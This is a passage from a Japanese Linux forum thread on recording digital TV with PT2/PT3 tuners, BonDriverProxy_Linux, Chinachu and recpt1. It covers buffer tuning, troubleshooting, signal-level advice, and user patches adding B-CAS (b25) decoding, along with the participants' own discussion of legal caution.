いきますが、そのデータをアプリケーションが読み出さない場合、どこかでデータを捨てないとメモリを無尽蔵に
消費する事になるので、そのリミットとしてのTS_FIFO_SIZEです

sample.cppでやってるように、GetTsStream()で読み出したのをそのままファイルに書き出しするような場合は、
余程書き出し先デバイスが遅くない限りは問題にはならないハズです
しかし、読み出した後に同スレッドで何らかの時間の掛かる処理を行っていて、次の読出しまでにTSキューに新規データが
常に複数積まれていく様な状況だと、その内TSキューのサイズはリミットに達してしまうでしょう
この場合、とりあえずデータは読み込んでおいて時間の掛かる処理は別スレッドで、と言うのが王道かと思います
例えば、B-CASカードでのECM処理はかなり遅い部類の処理なので、TS読み出しスレッドとデスクランブルスレッドは
分ける、などのパターンですね
#libarib25を使用する場合は、確か内部に専用バッファを持っていたと思うので、面倒な事は考えなくても大丈夫かも
#しれません…が、未確認です

502 :login:Penguin:2014/07/09(水) 20:17:23.99 ID:GgPhQLZW.net
更に続きです

と言う訳で、PACKET_FIFO_SIZEもTS_FIFO_SIZEも、平均的には新規データの供給よりも速いペースでデータを捌けるけれど、
何回かに一回は時間が掛かる事があってその時にドロップしてしまう、と言う様な状況でいじると効果があるかもしれない
項目だと思っていただければ大体間違いないかと思います
捌く速度が新規データ供給よりも平均的に遅い場合には、これらのサイズを大きくしても多分時間稼ぎにしかなりません

TSPACKET_BUFSIZEに関しては、大きくしていくと、チャンネル変更の際などにそのサイズ分のバッファが溜まるまで
サーバからデータが来ないので、レスポンスが悪くなっていくでしょう
逆に小さくしていくと、レスポンスは良くなるかわりに各種オーバヘッドが大きくなっていくので、小さくしすぎは
意味が無いでしょう

大体こんな感じでわかるでしょうか…?

長文失礼しました

503 :login:Penguin:2014/07/10(木) 00:29:04.36 ID:Vdu/474/.net
>>500-502
詳しい情報ありがとうございます。
プログラマーではないので全ては理解できませんが、特に>>502で疑問点はおそらく解決しました。

最後に
ttps://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/master/BonDriver_Proxy.conf
このサンプル設定はunknownさんの環境では十分なサイズなのでしょうか。

504 :login:Penguin:2014/07/10(木) 07:02:22.93 ID:1ScKKN6I.net
>>503
はい、ウチのテスト環境(Hyper-V上のCentOS6.5、Core i7 3630QMから仮想プロセッサ2つ割り当て、
HDDは容量可変VHDX形式)では、sample+BonDriver_Proxy(キューサイズ等の設定はデフォルト)によって
LAN(1000BASE-T)経由で他のマシンに刺さってるPT2を使って録画、と言うのが特に問題無く出来ています

topで眺めてる限り、上記環境+設定ではsample実行中のCPU負荷も殆ど上昇しない感じです
#これに関しては、想定使用環境を録画用サーバとすると、上記テスト環境は若干CPU性能が高い気はするので、
#参考程度の情報として下さい

505 :login:Penguin:2014/07/11(金) 15:34:23.80 ID:OUxv2+uD.net
>>504
ご親切な対応、本当にありがとうございました。

506 :login:Penguin:2014/07/11(金) 15:59:09.38 ID:dxK0BNE0.net
親切を敬語にすると煽られてる気分になるのはなぜだろう

507 :login:Penguin:2014/07/11(金) 18:48:10.02 ID:6ySvc8u0.net
unknownさん、 Pull RequestsとIssues見てくれるとうれしい。

508 :login:Penguin:2014/07/12(土) 01:26:29.76 ID:QUHdXLZV.net
>>507
今更ながら確認しました、ありがとうございます
GitHubの使い方良くわかってないのでなんとなくでやってみましたが、あんな感じで良いんでしょうか…

509 :login:Penguin:2014/07/12(土) 21:48:40.06 ID:SnB0zLWa.net
BonDriverProxy_Linuxに付属している sample.cpp をコンパイルして実行したところ
dlopen: Success と表示されファイルサイズゼロの aaa.ts しか作成されずに終了します。

./sample -b BonDriver_LinuxPT.so -s 0 -c 0 -t 10 -o aaa.ts
dlopen: Success

ソースを見て原因は BonDriverがロードできなかったためとわかったのですが、最初は
エラーメッセージだとは思えなかったので少しハマりました。

https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/master/sample.cpp#L88

perror("dlopen"); を fprintf(stderr, "%s\n",dlerror()); とかに変更すれば、まともなエラー
メッセージになってくれます。

BonDriver_LinuxPT.so: cannot open shared object file: No such file or directory

# BonDriverのロードが成功してから出力ファイルのopenをしたほうが
# サイズゼロの出力ファイルができないので自分としては好みです。

510 :login:Penguin:2014/07/12(土) 22:47:38.33 ID:9B3a+VZM.net
>>508
あんな感じで大丈夫だと思います。
(unknownさんの環境でも確認出来ているならば)

511 :login:Penguin:2014/07/13(日) 00:00:43.87 ID:n2Vjk8dB.net
-rdynamicいらんのけ?

512 :login:Penguin:2014/07/13(日) 01:49:05.62 ID:YTm9Pv5Y.net
>>509
確かにその通りですね
とりあえずサンプルはあった方が良いかなとサラッとつくったものなので、エラーはチェックだけやって
メッセージ周りはテキトーでした(;´Д`)失礼しました、修正しておきました

>>510
こんなマイナーなツールにPull Requestが来るなんて全然考えてませんでしたヽ(;´ー`)ノありがとうございました

>>511
確かに、sampleにはCentOS 5.4とかの古めの環境でコンパイル&実行するとダウンキャスト失敗すると言う事を
報告していただいて、-rdynamicオプション付けたんでした
その辺サーバも同じで付けておいた方が無難な気がするので、追加しておきました

513 :login:Penguin:2014/07/13(日) 02:20:53.01 ID:YTm9Pv5Y.net
>>511
と思ったんですが、どうもなんだかよろしくないみたいなので戻しました(;´Д`)
押し入れの中のLinkers & Loaders引っ張り出すべきか…

514 :login:Penguin:2014/07/16(水) 00:16:08.34 ID:todPSfmo.net
マザーボードG1.Sniper M5[http://www.gigabyte.jp/products/product-page.aspx?pid=4482#sp]でfoltia ANIME LOCKERを使いたいと思っています。
このマザーボードにはNICとしてQualcomm&#174; Atheros Killer E2201 chip (10/100/1000 Mbit)が採用されており、おそらくはこれが認識されていないために、foltia ANIME LOCKERが使えていません。

まずはインストールについてはhttp://aniloc.foltia.com/manual/appendix-hddinstall.htmlを参考にし、HDDが3台あったので下記のようにして何とか出来ました。

/home/foltia/perl/hddinstaller.pl -d /dev/sda -d /dev/sdb -d /dev/sdc -confirm yes -url http://127.0.0.1/foltia_ANIME_LOCKER_306.img.xz

しかし、その後起動させても以下のように表示され、その後どうすればいいか分かりません。
________________________________________

foltia ANIME LOCKER
You can access http://foltia.local or http://127.0.0.1/

foltia login: Bridge firewalling registered
________________________________________

NICが認識されていればおそらくはDHCPによりプライベートIPアドレスが割り当てられ、ネットワーク上の他パソコンから操作できると思うのですが…

ちなみにE2201ではないですが、E2200については↓のようにlinuxでの動作はするようです
http://ubuntuforums.org/showthread.php?t=2008332

このマザーボードでfoltia ANIME LOCKERを使う方法があればご教示ください。
因みに、拡張ボードには空きがなく、出来ればLANポート増設以外の方法がよいのですが…

515 :login:Penguin:2014/07/16(水) 02:26:42.59 ID:Rd9MnMt+.net
スレ違い乙

516 :login:Penguin:2014/07/16(水) 08:34:24.03 ID:zRntf19q.net
半板違い丙

517 :login:Penguin:2014/07/16(水) 11:34:02.07 ID:fMwVkLO8.net
甲乙丙丁

518 :514:2014/07/16(水) 22:58:14.62 ID:todPSfmo.net
初心者質問スレに行ってきます

519 :login:Penguin:2014/07/23(水) 02:49:41.51 ID:UIQy6iIM.net
Chinachuって追従するの?

520 :login:Penguin:2014/07/26(土) 00:40:28.44 ID:8ZSXKiqI.net
バカな質問で申し訳ないのだが、Chinachu+PT3で録画してます。
DLNAクライアントで閲覧してるんだが、字幕をONにしても表示されません。

これってそんなもの??

521 :login:Penguin:2014/07/26(土) 01:47:32.37 ID:t6v8y6+x.net
そんなもの

522 :login:Penguin:2014/07/26(土) 13:54:08.49 ID:4LQEoPJM.net
Linuxは細かいところの作り込みが甘い。
それぐらいよくある話。

523 :login:Penguin:2014/07/26(土) 16:00:48.94 ID:pZx1Q0T3.net
何の貢献もしないくせに上から目線で批評。
それもよくある話www

524 :login:Penguin:2014/07/26(土) 19:15:45.99 ID:t1mYoald.net
>>522はリーナスなんか問題にならいくらいの凄腕

525 :login:Penguin:2014/07/26(土) 22:06:27.61 ID:7IPYc6BL.net
なけりゃ自分で作れってだけの話

526 :login:Penguin:2014/07/26(土) 22:53:20.19 ID:lBpGoaG4.net
何がいけないのか調べずによく話ができるなぁ
優秀なエスパーさんが勢ぞろいなんですねw

527 :login:Penguin:2014/07/27(日) 10:51:59.71 ID:tY684ELH.net
>>520
とりあえず、recpt1のオプションに
--strip付いてると思うので除去してみては

528 :login:Penguin:2014/07/27(日) 11:01:05.48 ID:tY684ELH.net
>>527
すまん、--stripいれても字幕入ってた

529 :login:Penguin:2014/07/27(日) 12:58:38.24 ID:7ePzb8Np.net
>>520
使ってるDLNAクライアントがARIBの字幕に対応してるか調べてた?

530 :login:Penguin:2014/07/28(月) 17:30:56.36 ID:m/Vi1iyq.net
Chinachuの番組表で、どうも東海テレビが2列でちまうんだな…
1つルール作ったら予約済欄に2個予約されちまうぜ…
こういうときってどうすりゃいいでしょうか…

531 :login:Penguin:2014/07/28(月) 21:37:01.16 ID:E+3TlTnW.net
設定ファイルにチャンネル定義が二行でダブってるだけって愉快なオチに期待

532 :login:Penguin:2014/08/02(土) 23:28:29.92 ID:s+soKDEh.net
Chinachuって、重複が録画可能数超えてもなにも言わない?

533 :362:2014/08/07(木) 22:00:24.80 ID:GxNjbWzT.net
>>532
今試したけど、どんどん予約できた

534 :login:Penguin:2014/08/08(金) 12:46:23.98 ID:0t1JUWl+.net
おめでとー

535 :login:Penguin:2014/08/09(土) 17:44:54.27 ID:AsfeVmjW.net
録画できないー。

手動でrecpt1しても、数分ぐらいしかできない。
ログに↓がでるとだめだーーー。
systemd: Started PC/SC Smart Card Daemon.
  pcscd: 00000000 utils.c:53:GetDaemonPid() Can't open /var/run/pcscd/pcscd.pid: No such file or directory

CentOS7なんだけど、これじゃまずい?
さっぱりだ・・・・どうすればいいんでしょう?

536 :login:Penguin:2014/08/09(土) 18:07:02.68 ID:mQ8TOVgQ.net
エスパーの皆さん、出番ですよーw

537 :login:Penguin:2014/08/09(土) 18:23:14.34 ID:u8uxwlhZ.net
カーネルやドライバ等数分でコケる筈ないだろって場合はマザボや電源の劣化を疑ってみる
早い話ノイズ耐性や瞬発力が下がってる可能性がある

538 :login:Penguin:2014/08/09(土) 18:26:02.51 ID:rc5wPGdb.net
No such file or directory

でマザボや、電源?
os動かないだろ。

539 :login:Penguin:2014/08/09(土) 19:16:47.45 ID:/ZynO8Gm.net
>>535
pcscdはB-CASの解除だけにしか使わないから、動いてなくてもrecpt1は動く
pcscdが動いてないのは /var/run/pcscdがないかパーミッションか所有者がおかしいっぽいけど

540 :login:Penguin:2014/08/09(土) 19:19:01.52 ID:AsfeVmjW.net
>>539
おかしいな。。。
たとえば、recpt1で、10分とかオプションで指定(オプションでは600か)しても、
1分とか、3分ぐらいで勝手に録画が終わってしまう・・・
エラーはでてない

なぜだ・・・

541 :login:Penguin:2014/08/09(土) 19:27:08.61 ID:rc5wPGdb.net
その録画は出来てるの?再生出来る?

542 :login:Penguin:2014/08/09(土) 19:29:56.44 ID:AsfeVmjW.net
>>541
再生できます。

543 :login:Penguin:2014/08/10(日) 02:28:06.50 ID:f94X+Pf1.net
>>542
カードリーダー見失ってるのかも
そのメッセージでた直後に、lsusbとかpcsc_scanしてみて
あるいはやわらかい奴かな

544 :login:Penguin:2014/08/10(日) 10:04:28.43 ID:2FRObZti.net
>>543
どうも、例のログは関係ないらしい。
何もログでないのに、途中で止まる。なぜ・・・
ソースにデバッグコード入れるしかないのか。。。

545 :login:Penguin:2014/08/10(日) 18:54:16.10 ID:dPQJBXwC.net
すぐ再現できるならとりあえずstraceとかで何が起きてるか見てみてよ

546 :login:Penguin:2014/08/10(日) 22:50:17.01 ID:hcloJPEb.net
DVBドライバーを殺してないんじゃ?

547 :login:Penguin:2014/08/11(月) 01:20:28.46 ID:+lM8QzpO.net
天狗の仕業だ

548 :login:Penguin:2014/08/12(火) 00:44:10.29 ID:aAA1LoVC.net
パックスのしわざ

549 :login:Penguin:2014/08/12(火) 06:20:34.08 ID:m2fKpwXo.net
>>65

いちお情報としてかなり前のにレス
epgrec UNAで同じ症状が出たけどrecpt1をbuildし直したら取得できた

550 :login:Penguin:2014/08/12(火) 17:42:52.81 ID:FrmrUazc.net
BonDriverProxy_LinuxのサーバーにSpinelのTSOptimizerのような機能が欲しい・・・。

551 :login:Penguin:2014/08/16(土) 11:26:43.18 ID:g5+q7xCY.net
>>545
見てみたが。さっぱり。
途中から突然PT3からの読み取りがなくなっている。

違うディストリ試してみるか

552 :login:Penguin:2014/08/19(火) 23:37:09.08 ID:I4h+PUKm.net
ショボイパッチですが…
http://hg.honeyplanet.jp/pt1/rev/c8688d7d6382 へのパッチ
http://www1.axfc.net/u/3300760

* ログメッセージ(dmesg)のプレフィックスを "PT1: " に統一 (pt3_drvと同様に)
* エラーやドロップが発生しなかった場合はその報告を省略
* モジュールパラメータdebugを変更できるように修正
例) echo 0 > /sys/module/pt1_drv/parameters/debug (ログメッセージを最小限に)

553 :login:Penguin:2014/08/20(水) 00:06:57.56 ID:YgoPyQnX.net
>>551
まずハードじゃないのそれ

554 :login:Penguin:2014/08/20(水) 12:31:40.91 ID:EMVxX4TT.net
>>553
ディストリをdebianにして、b25オプション外したら治った。
別原因で止まったりしたが、recpt1直接打ちはうまくいくようになった。

555 :login:Penguin:2014/08/20(水) 20:27:01.17 ID:g5L5m6zD.net
>>554
よく覚えていなけど、以前 ubuntu でも pcscd のとあるバージョンで不具合なかった?
それでパッケージのバージョンを古いのに固定していた時期があったと思うけど。それの可能性は?

556 :login:Penguin:2014/08/20(水) 21:30:01.69 ID:+tWqmdAb.net
うちは14.04でも固定してるよ。
不定期のタイミングでカードリーダを見失ってb25のデコードができなくなるから。

557 :login:Penguin:2014/08/20(水) 21:55:37.22 ID:g5L5m6zD.net
>>556
あれはデコードできなくなるだけなの?
だったら違うか

558 :login:Penguin:2014/08/22(金) 03:16:22.15 ID:ivHfULC0.net
BonDriverProxy_Linuxの作者さん、
リポジトリにあるメールアドレスはダミーですか?
libarib25関連のパッチを送ろうかなと思っているのですが。

559 :login:Penguin:2014/08/22(金) 09:01:55.71 ID:KFky9orq.net
プルリクすりゃええじゃん。(´・ω・`)

560 :login:Penguin:2014/08/22(金) 19:32:41.76 ID:MKqaNber.net
>>558
元々全然使ってないメールアドレスだったので存在すら忘れかけてました
さっき確認してみたら1か月以上放置してしまったメールとかが…(;´Д`)誠に申し訳ありません

パッチに関してはとても嬉しいのですが、実はデスクランブル機能関連は意図的に避けている部分なんです
特にサーバ部分に組み込んだら、理屈的にはデスクランブル済みのを公衆送信できるシステム扱いできてしまいますので…
こんなニッチなツールの事なんざ権利者さんも気にしねーよ、てのは全くその通りだとは思うのですが、
当方破城槌で石橋叩き、壊れちゃったらやっぱり危なかった渡らずに済んで良かった、と言う感じの
ポリアンナ的メンタルの人間です(;´Д`)

>>550
この間、サーバじゃなくてドライバに1サービス1チャンネル扱いする機能を追加してみたんですが、もしかして
これで用が足りたりしませんか?
#CAT(とEMM)まで削ったのはちとやり過ぎだったかなと思ってるので、それは残す方向に戻すべきかと思案中ですが

561 :login:Penguin:2014/08/22(金) 19:51:30.29 ID:ivHfULC0.net
>>560
同じ理由でプルリクエストではなくてメールにしようと考えてました(当方もチキンです)。
もう少し関連事項(ライブラリの使用だけでもアウトなのか等)を調べてからメールしようと思います。
一応パッチはrecpt1みたいな感じ(ユーザがライブラリをリンクしないと使えない)にしてあるのだけども。

562 :login:Penguin:2014/08/23(土) 11:47:12.22 ID:+GPqjlNx.net
>>560
util/testのチャンネル列挙ができないけどどこ見たらいい?
なんかch1から列挙しようとしてるみたいだけど、
これ地上波なのかBSなのかわからんのじゃないのかという気がする。
なんかまた俺が勘違いしているのか・・・・

563 :login:Penguin:2014/08/23(土) 15:38:33.25 ID:+GPqjlNx.net
>>562
conf間違ってた。気づかなかったわw

564 :login:Penguin:2014/08/24(日) 13:12:03.09 ID:pstTkKz2.net
たまにsyslogに PT3 invalid sync data って録画中に出まくって、その後録画止まるんだが、
これって単なるドロップ?
ドロップもして、止まるのはなんとならんか。。。

565 :login:Penguin:2014/08/24(日) 23:03:33.33 ID:VdOCmrwl.net
>>564
chardev版PT3ドライバでの話だと思いますが、PT3から取得したTSデータがおかしいとそうなります
そうなった場合、録画を止めるかどうかは録画アプリ次第ですが、仮に止めなくてもそれが発生してる間は
まともなデータは期待できないでしょう
ソフトではなくハード(PT3やメモリだけでなく、アンテナ、ケーブル、分波器等も含んだ何か)の問題ですね

たまになるだけって事なら、普段からアンテナレベルがギリギリとかなんじゃないでしょうか
とりあえずCN比確認してみるのが良いかと

566 :login:Penguin:2014/08/24(日) 23:37:23.90 ID:BqLcLvkb.net
アンテナレベルギリギリだとデータがおかしくなることがあるというのであれば、
それ込みで電波の仕様だよ。不正なデータは発生しうるという仕様。

だからこの場合は、できる限りドライバ内でフォールバックするようにしないと。

テレビがアンテナギリギリでシステムが停止する?
映像は映らなくてもシステム自体は停止しないでしょ?

567 :login:Penguin:2014/08/25(月) 01:11:16.65 ID:VF+oB84Q.net
>>566
いやだから、そうなってもドライバは単にアプリからのread()に0を返すようになるだけですよ
まさにフォールバックですね

録画が止まるならそれはread()が0を返したのを受けてアプリが終了してるだけでしょう
録画を止めるかどうかは録画アプリ次第と言うのはそう言う意味です
あるいは、録画終了時刻まで復帰しなかったら、ファイルだけ後から見れば途中で終了してるように見えるでしょうね

いずれにせよ、少なくともドライバには非は無いと思いますよ

568 :login:Penguin:2014/08/25(月) 20:37:24.54 ID:PCu13YIt.net
やっとchinachu & BonDriverProxy & TVTestでリアルタイム視聴&録画が出来るようになった
作るにあたってこの構成取ってるまとめサイトが無かったんで、まとめたら需要ってありますか?

569 :login:Penguin:2014/08/25(月) 20:48:40.75 ID:Zge50iv1.net
ありまーす

570 :login:Penguin:2014/08/25(月) 20:55:04.22 ID:MXNU2n50.net
>>568
是非お願いします!
いやマジで!!

571 :login:Penguin:2014/08/25(月) 21:01:33.50 ID:PCu13YIt.net
ではちょっと構成と画像、設定まとめます
色々無理くりやってるので、欠点もありますが...今運用している範疇で作ってきます

572 :login:Penguin:2014/08/25(月) 21:52:06.88 ID:MXNU2n50.net
ありがとうございます!
本当にありがとうございます!!

573 :login:Penguin:2014/08/26(火) 11:04:05.20 ID:PAMz3I9n.net
>>568
需要ないですよ

574 :login:Penguin:2014/08/26(火) 21:36:19.94 ID:BpOkUOJ2.net
>>568
是非お願いします!

575 :login:Penguin:2014/08/26(火) 21:51:25.09 ID:SH+I10L8.net
>>573
ちょっおまっっ
ちゃんと需要あるから全然あるから

576 :login:Penguin:2014/08/27(水) 00:59:28.56 ID:1MChGv8J.net
epgrecに対してのメリット デメリットや乗り換え指南とか有ると嬉しいけど
両方使い込んでないと難しいか

577 :login:Penguin:2014/08/28(木) 00:34:23.36 ID:u3Vrdj9d.net
かきこみ食い!

578 :login:Penguin:2014/08/28(木) 00:36:33.79 ID:u3Vrdj9d.net
誤爆したああ

579 :login:Penguin:2014/08/28(木) 12:27:15.42 ID:0cTXkwdI.net
安定して動いてるとなかなか新しいのに手出せないよね(´・ω・`)

580 :login:Penguin:2014/08/28(木) 12:38:52.91 ID:jFp4EclH.net
PT2の2枚差しでまだまだ行けます

581 :login:Penguin:2014/08/29(金) 04:06:51.23 ID:v3ONMbB+.net
http://www.dcc-jpl.com/diary/2013/10/15/foltia-cm-cut/
http://foltia.com/ANILOC/support/releasenote/pressrelease20140828.html

なるほどなぁ〜

582 :login:Penguin:2014/08/31(日) 09:19:00.43 ID:VMP6HcFa.net
>>565
なるほど・・・
その後、手動でrecpt1すると何事もなく無事なんだが・・・
たまたまなんだろうか。
BSで13.5dBぐらいは低いか?!

583 :login:Penguin:2014/08/31(日) 11:45:26.47 ID:xX+VaeoE.net
>>582
低いんじゃないかな
うちはBS/CSは16-18dBくらい

584 :login:Penguin:2014/08/31(日) 11:52:49.66 ID:VMP6HcFa.net
>>583
まじか・・・ さてどうしたものか。。。
分配しているテレビの方はSHARP表示で90/100とかあるんだけどな・・・・
分配の先が悪いのか。

585 :login:Penguin:2014/08/31(日) 11:54:35.77 ID:VMP6HcFa.net
Win版のPT3は、DMA転送の時に、CPU-DMAとかの同期APIがはいったけど、
もしかして、Linux版も同じようなことしないといけないのか・・・
わからんなぁ。

586 :568:2014/08/31(日) 18:14:36.39 ID:EugbJio5.net
遅くなりましたが、とりあえず個人メモを公開
かなり端折ってますので、わからなかったらスミマセン
ttp://blog.kickitout.net/2014/08/chinachu-bondriverproxy-tvtest_27.html

注意事項にも書いてありますが、B25復号ができないです
運用してみるとCASの都合からPCで復号したほうが良いので方法見つかるまでこのままです

あとはTVTest視聴中にChinachuのEPGスキャンが走ると
チャンネル変更されるのが面倒くさいくらいですが、録画優先のためこれは仕方がないかと

587 :568:2014/08/31(日) 18:21:57.37 ID:EugbJio5.net
>>576
epgrecは使ったことないですね

Chinachuを選んだ理由はルールによる自動録画とストリーミング再生でした
番組表についてはスクロールでしか画面遷移できないので、ここはepgrecが良いと思います

588 :login:Penguin:2014/08/31(日) 19:17:14.51 ID:vUw0Vf62.net
>>586
b25はパイプじゃダメなん?
/usr/local/BDPL/sample 〜(略)〜 | b25 /dev/stdin /dev/stdout 2> /dev/null

589 :568:2014/08/31(日) 19:36:32.34 ID:EugbJio5.net
>>588
試したんですが、駄目でした
まずchinachuにパイプ付きで実行させるとエラーとなり、
shellスクリプトで実行させても/dev/stdinが開けなくてNGです
(エラー内容は忘れました)

590 :568:2014/08/31(日) 21:07:03.48 ID:Tov9UBtf.net
あとはChinachuのrecordedCommandで録画後にB25復号させる方法もあります
もちろん録画後に行うので時間はかかりますが...
これ応用すると>>581の自動CMカットも行けそうですね

----------------------------
#!/bin/bash
B25=/usr/local/bin/b25

if [ $# -lt 1 ]; then
echo "$0 {recPath} {jsonProgram}" 1>&2
exit 1;
fi

# B25 decode
${B25} -p 0 -v 0 "$1" "$1.tmp"

if [ -e "$1.tmp" ]; then
if [ $? -eq 0 ]; then
rm -f "$1"
mv "$1.tmp" "$1"
else
rm -f "$1.tmp"
fi
fi

exit
----------------------------

591 :login:Penguin:2014/08/31(日) 22:42:25.46 ID:pPCOz4VV.net
BonDriverProxy_Linuxnのsample.cppにb25デコード追加パッチ
http://www1.axfc.net/u/3309836

592 :568:2014/08/31(日) 22:48:55.26 ID:Tov9UBtf.net
>>591
早い C++学習してなくて諦めてました

593 :591:2014/08/31(日) 23:57:03.92 ID:pPCOz4VV.net
>>591 はb25デコード強制でちょっと良くないねってことで、
recpt1準拠のオプションに対応してみました。

usage: ./sample [--b25 [--round N] [--strip] [--EMM]] [-b bondriver] [-s space_no] [-c channel_no] ( [-t sec] [-o filename] )
--b25: Decrypt using BCAS card
--round N: Specify round number
--strip: Strip null stream
--EMM: Instruct EMM operation

http://www1.axfc.net/u/3309930

594 :568:2014/09/01(月) 00:16:30.09 ID:PCe7o4Q1.net
有難うございます
既に今日だけで2つも課題(注意事項)が解決しました
BSだけは不明なため、申し訳ないですが各自でお試しください

595 :591:2014/09/01(月) 00:47:49.14 ID:a7hMx0Xw.net
>>593にミスがありました!
パッチ後の77行目、write を ::write に書き換えてください。(*ノェノ)

if (dbuf.size > 0) return write(fd, dbuf.data, dbuf.size);


if (dbuf.size > 0) return ::write(fd, dbuf.data, dbuf.size);

596 :login:Penguin:2014/09/01(月) 01:01:21.97 ID:BNTqI31W.net
元々のpatchの76行目を修正…でいいんですよね?

597 :login:Penguin:2014/09/01(月) 03:26:06.65 ID:O9repODI.net
何が入っているかわからんから
コードを理解してからやること。

598 :591:2014/09/01(月) 10:38:32.04 ID:a7hMx0Xw.net
>>596
はい。

すみません。
patchの56行目も同様のミスありました。
if (!valid) return write(fd, buf, count);


if (!valid) return ::write(fd, buf, count);


鬱だ氏のう(´A`)

599 :login:Penguin:2014/09/01(月) 13:44:04.90 ID:dFvWFsJ3.net
こういうのはpastebinでやろうや

ttp://pastebin.com/vs229ctE
スレ内で出てたパッチの修正済み

600 :591:2014/09/01(月) 17:42:50.72 ID:a7hMx0Xw.net
writeで書き込まれるバイト数が指定バイト未満になる場合が考慮されていなかった不具合を修正しました。
度々申し訳ないです。m(__)m
http://pastebin.com/aHmFYePJ

601 :login:Penguin:2014/09/01(月) 17:59:55.44 ID:a7hMx0Xw.net
毎度(ry
http://pastebin.com/PsUJCdsh

602 :login:Penguin:2014/09/01(月) 19:22:22.10 ID:RUZKEFrJ.net
>>601
これをBonDriverProxyに組み込んだら、
鯖のBCASだけで行けるのかな。
録画鯖にBCASつけてる人はクライアントはどうしてるんだろ。共有してんのかな。

603 :login:Penguin:2014/09/02(火) 14:47:23.78 ID:XL1oxIjN.net
>>601
@@ -75,7 +75,7 @@
ssize_t write(int fd, void *buf, size_t count)
{
if (!valid)
- return ::write(fd, buf, count);
+ return write_full(fd, buf, count);

sbuf.data = static_cast<uint8_t*>(buf);
sbuf.size = count;

604 :login:Penguin:2014/09/02(火) 17:33:14.10 ID:XL1oxIjN.net
ここまでのsample.cppへのパッチ + BonDriverProxy.cppへのパッチ
http://pastebin.com/Ck70qW7C

usage: ./BonDriverProxy [--b25 [--round N] [--strip] [--EMM]] address port (packet_fifo_size tspacket_bufsize)
e.g. $ ./BonDriverProxy 192.168.0.100 1192

--b25を有効にするときは、
デコード済みのストリームが外部ネットに漏れないよう十分配慮してください。

605 :login:Penguin:2014/09/02(火) 23:39:48.14 ID:XL1oxIjN.net
http://pastebin.com/vLA20Vw9
・ b25::set_b_cas_cardでエラーになる対策
・ b25::putが失敗した後ハマる対策
>>604のパッチを適用後にパッチしてください。

視聴中にチャンネル切換すると稀にストリームが滞る事があるようです。
#b25->putがARIB_STD_B25_ERROR_NO_PMT_IN_HEAD_32Mを返してる。
放っておけばそのうち流れだすので、とりあえず放置(;´∀`)

606 :login:Penguin:2014/09/02(火) 23:59:03.15 ID:XL1oxIjN.net
すみません。こっちで http://pastebin.com/ASA1cnGK

607 :login:Penguin:2014/09/03(水) 06:35:33.40 ID:ZY4L+Z2d.net
> -#define FILE_OFFSET_BITS 64
> +#define _FILE_OFFSET_BITS 64

…(;´Д`)
失礼しました
sample.cppの方も直しておきますね
と言うか、sampleがちゃんとサンプルとして機能してるみたいで良い感じですね
細かい事言えばpIBon->CloseTuner()後でも、pIBon->GetTsStream()でdwRemain(アプリによる読み出し待ちバッファ数)が
1以下である保証は無いです
#元のsample.cppがdwRemainが0になるまでループさせてるのはそれが理由です

608 :login:Penguin:2014/09/03(水) 06:52:51.56 ID:ZY4L+Z2d.net
>>604-606
サーバでのスクランブル解除はカードの処理能力がボトルネックになる場合があるから注意…
と思ってたんですが、今libarib25をナナメ読みした限りでは、あるサービスに対して最初のECMで購入済みか
チェックして、未購入だった場合は以降のECMはカードに投げない様にしてくれてるみたいですね
#win環境で一般的に使われてるB25Decoder.dllではやってなかったと思います
これならあんまり心配する必要は無さそう
#20チューナー同時稼働とかでない限り

ただその辺りも含めて、libarib25は内部的に色々と現在のTSストリームの状態を保持しているので、
チャンネル変更の際にはそれらの情報の破棄が必要でしょう

> 視聴中にチャンネル切換すると稀にストリームが滞る事があるようです。

の現象も、その内部情報破棄を行っていない事が原因だと推測します
対応としては、チャンネル変更のタイミングでb25->reset()を呼べば良いと思います
そうすればb25->put()やb25->get()でコケる事も無くなるかと

実装的には、b25を配信スレッドのローカル変数からcProxyServerのメンバ変数にして、m_pposなどと
同じ様な形で持つのが良いんじゃないでしょうか
b25の取得、release()及びreset()も、m_pposの場所に準じる感じで
#そこでなら排他ロックも掛かってるので

609 :login:Penguin:2014/09/03(水) 07:04:53.15 ID:ZY4L+Z2d.net
そう言えばこう言う話もある様ですが、
ttps://twitter.com/fcartegnie/status/504940291078385664
これが普通に取り込まれて利用可能になったとしたら一つの目安となりますね
#本来的には、そんな事考えないで良いように法律の方でハッキリと線引きしておいて欲しいものですが…

610 :login:Penguin:2014/09/03(水) 09:03:42.03 ID:sZbKOuDA.net
ぐっとB25関係が進展したみたいですね。

Windows の BonDriver_HDP2とかはB25デコード後のTSが直接出てきた様な
記憶があるので、BonDriver側(BonDriver_LinuxPT.cpp)でデコード済みのを
返すというのは筋が悪いのですかね?

そうできたら、それより上にあるBonDriverProxy、sampleも特に変更しないで
良さそうな気がしてるのですが。

611 :login:Penguin:2014/09/03(水) 10:43:10.73 ID:vjzT1Nr4.net
>>609
その人は日本人ではないし、バイナリの配布も日本のサーバーを使わないと思うのだが。

612 :login:Penguin:2014/09/03(水) 16:03:26.39 ID:Z1VCVlkc.net
>>609
字幕パッチが取り込まれたり、ここにきてVLCのISDB対応が増えてるのはなんでだ?
SkyDriveに置いてあるOSX用独自ビルド、ここ半年のものでデュアルモノラルの分離が上手くいかない..

613 :login:Penguin:2014/09/03(水) 17:11:31.39 ID:qNJLyKdr.net
>>612
南米やアフリカで、ISDB規格が奮闘してるからではないかと。

614 :login:Penguin:2014/09/03(水) 20:20:08.29 ID:ZY4L+Z2d.net
>>610
個人的には録画あるいは視聴機能でやるのが一番シンプルで理に適ってるかな、とは思ってますが、
あえてサーバ側でやるなら、サーバ部分(BonDriverProxy)よりもドライバ部分(BonDriver_LinuxPT)に組み込む方が好みですね
ただ、正しく機能してる限りどこでやろうが結果は(そんなに)変わらないので、これはあくまでも当方の好みの問題です

実装は>>608に書いたサーバ部分でのモノとほぼ同様になると思いますが、b25をメンバじゃなくてグローバルで持てば
それで良さそうですね

>>611
そうなんですが、BLACKCASの様な実例もありますので…
配布にしても、公式サイトからはパッと見わからないだけで、実際は日本のミラー経由でダウンロードしてる事も
多いんじゃないでしょうか

615 :login:Penguin:2014/09/03(水) 20:24:21.72 ID:ZY4L+Z2d.net
>>586
> チャンネル設定を[0始まりのBonDriverProxy用]と[実chと合わせたchinachu用]の2つを定義

これちょっと驚きましたヽ(;´ー`)ノ考えてみれば確かに可能…
ただ、やっぱりChinachu側で設定するのが本来の形かなとは思います
